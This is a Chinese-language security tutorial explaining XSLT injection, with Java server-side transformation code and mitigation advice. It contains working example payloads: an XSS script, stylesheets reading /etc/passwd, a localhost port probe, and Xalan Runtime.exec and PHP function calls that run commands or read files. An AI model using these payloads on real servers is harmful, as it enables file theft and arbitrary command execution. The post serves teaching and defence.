本系列文章主旨在于介绍一些漏洞类型产生的基本原理,探索最基础的解决问题的措施。
XSLT (Extensible Stylesheet Language Transformations) 是一种转换语言,主要是将一种XML文档转换为另外一种XML文档,或者其他格式的文档,例如:HTML和文本等。XSLT 使用 XPath 在 XML 文档中查找信息。XPath 被用来通过元素和属性在 XML 文档中进行导航。通过XSL进行转换可以在浏览器端进行,但是,如果有的浏览器不支持,就必须在服务器端进行转换。关于XSL的详细语法可以参考:XSLT - 转换
在转换过程中,如果转换的内容可以被攻击者控制,攻击者可以篡改输出的文档的内容,可以发起XSS攻击、读取文件系统的文件的内容,甚至是执行任意命令。示例如下:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(123)</script> // 发起XXS攻击
<xsl:copy-of select="document('/etc/passwd')"/> // 读取文件内容
<xsl:value-of select="document('http://localhost:22')"/> // 端口扫描
// 执行任意命令
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
<xsl:value-of select="php:function('readdir')"/> // PHP的路径遍历
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
注意:在输出变量时,标签有个属性:disable-output-escaping,默认值为 "no"。如果值为 "yes",通过实例化 <xsl:text> 元素生成的文本节点在输出时将不进行任何转义。 比如如果设置为 "yes",则 "<" 将不进行转换。如果设置为 "no",则被输出为 "<"。如下:
<xsl:value-of select="expression" disable-output-escaping="yes|no"/>
下面是在服务器端使用Java代码进行转换的一个示例代码:
Source xsltSource = new StreamSource(new FileInputStream(xslFilename));
TransformerFactory transFormer = TransformerFactory.newInstance();
Source source = new StreamSource(xmlUrl);
Result result = new StreamResult(System.out);
transFormer.transform(source, result);
如果输入的xslFilename 可以被攻击者控制或者攻击者通过文件上传的漏洞预先上传一个文件,或者xsltSource输入的流的内容可以被攻击者控制,就可以发起XSLT注入攻击。一个攻击的示例可以参考:ESI Injection Part 2: Abusing specific implementations - GoSecure,注入的XML如下,可以直接参考:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[touch /etc/passwd]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
目前服务器端常用的解析库包括:Libxslt (Gnome), Xalan (Apache) and Saxon (Saxonica),在服务器端使用XSL时,需要注意一下几点:
- 能够避免使用功能XSLT,是最好的解决方案;
- 在生成XSL文档时,避免从不可信的来源获取数据;
- 在使用XSL的库时,禁止使用不安全的函数;
- 如果必须要从不可信的来源接受数据生成XSL文档,需要对内容进行HTML编码,关于HTML编码可以参考XSS文章。
- 输入验证,对不可信的数据源进行输入验证,除非输入的值,有明显的范围,可以很容易通过输入验证来保证安全,否则,不建议使用输入验证的解决方案。
如果有不妥之处,希望可以留言指出。谢谢!
、
参考:
ESI Injection Part 2: Abusing specific implementations - GoSecure
XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations) - HackTricks
XSLT Injection Basics - Atlan Digital - Offensive Security Lab